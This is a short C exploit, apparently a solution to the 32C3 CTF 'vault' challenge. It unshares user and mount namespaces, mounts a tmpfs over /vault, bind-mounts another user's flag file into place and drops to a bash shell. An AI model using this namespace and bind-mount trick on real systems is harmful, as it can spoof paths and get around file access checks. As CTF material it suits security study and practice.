32c3_vault_exploit.c

unshare.c

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/mount.h>
int main(int argc, char *argv[])
{
  if(unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
    perror("unshare");
    return 1;
  }
  if(mount("none", "/vault", "tmpfs", 0, 0) != 0) {
    perror("mount");
    return 1;
  }
  if(creat("/vault/flag", 0777) < 0){
    perror("creat");
    return 1;
  }
  if(mount("/home/adam/flag", "/vault/flag", "none", MS_BIND, 0) != 0) {
    perror("mount bind");
    return 1;
  }
  system("/bin/bash");
  return 0;
}